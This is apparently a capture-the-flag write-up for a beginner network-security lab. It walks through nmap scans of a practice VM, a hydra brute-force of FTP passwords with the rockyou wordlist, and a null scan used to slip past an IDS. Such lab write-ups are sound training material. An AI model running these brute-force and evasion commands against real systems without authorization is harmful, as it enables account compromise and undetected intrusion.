Introduction/Overview

• Challenge Name: Net Sec Challenge

• Description: Basic Enumeration of a box, meant as practice of Network Security concepts. Completed only using nmap & hydra.

• IP Address: 10.10.57.45 (Example)

Enumeration

• Web Application:
  • URL: http://10.10.57.45 (Example)
• Vulnerabilities:
  • Identify any potential vulnerabilities or misconfigurations.

[Question 1.1] Launch the AttackBox and the target VM.

• No answer needed, simply click the button

[Question 2.1] What is the highest port number being open less than 10,000?

Well, after using nmap -p- 10.10.57.45, we find quite a few ports open, many of which with unusual port numbers associated. Results of the scan are below.

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
8080/tcp  open  http-proxy
10021/tcp open  unknown

Those with a keen eye would notice that the peculiar service on 10021 isn’t assigned a service. To fix this, we run nmap -p 10021 10.10.57.45 -A to gain a comprehensive understanding of the underlying system services.

PORT      STATE SERVICE VERSION
10021/tcp open  ftp     vsftpd 3.0.3
Service Info: OS: Unix

With this, we can answer the first 3 questions in task 2 as well as [Question 2.6].

As for Question 2.4, this can be found either with an nmap scan on port 80, or manual enumeration on the website. Developer Tools gives us the following result.

[Question 2.5] What is the flag hidden in the SSH server header?

Much like the other services, we can find this flag with a quick nmap scan nmap -p 22 10.10.57.45 -A which produces the following (flag is dashed out) –

PORT   STATE SERVICE VERSION
22/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-OpenSSH_8.2p1 THM{------------}
| ssh-hostkey: 
|   3072 da5f69e2111f7c6680896154e87b16f3 (RSA)
|   256 3f8c0946ab1cdfd73583cf6d6e177e1c (ECDSA)
|_  256 eda93aaa4c6b16e60d437546fb33b229 (ED25519)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.93%I=7%D=10/14%Time=652AE813%P=x86_64-pc-linux-gnu%r(NUL
SF:L,29,"SSH-2\.0-OpenSSH_8\.2p1\x20THM{------------}\r\n");

[Question 2.7] now gives us added context: We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?

In order to answer this question, we must utilize our hydra skills to bruteforce credentials for each user.

In order to bruteforce ftp logins with hydra, we use hydra -l userlogin -P password-list-adress ftp://----IP--Address -V

In our case, however, we must do this on a specific port, which forces us to use the -s flag. The syntax looks something like this to bruteforce quinn’s ftp access – hydra -l quinn -P /usr/share/wordlists/rockyou.txt ftp://10.10.57.45 -V -s 10021

With this, we gain an ftp shell on the remote server and can less the contents of ftp_flag.txt, which answers [Question 2.7].

For [Question 2.8], we must take a completly different approach to the box. We are prompted to go to http://10.10.72.243:8080 which displays a node.js webpage that prompts us to scan 10.10.57.45 (this machine) as covertly as possible and avoid being detected by the IDS.

The question is prompting us to use a “null” nmap scan, which is covert in that it identifies listening TCP ports, but cannot verify if they are open or not. In this case, after running sudo nmap -sN 10.10.57.45, we get the final flag of the box.

Happy Hacking!!!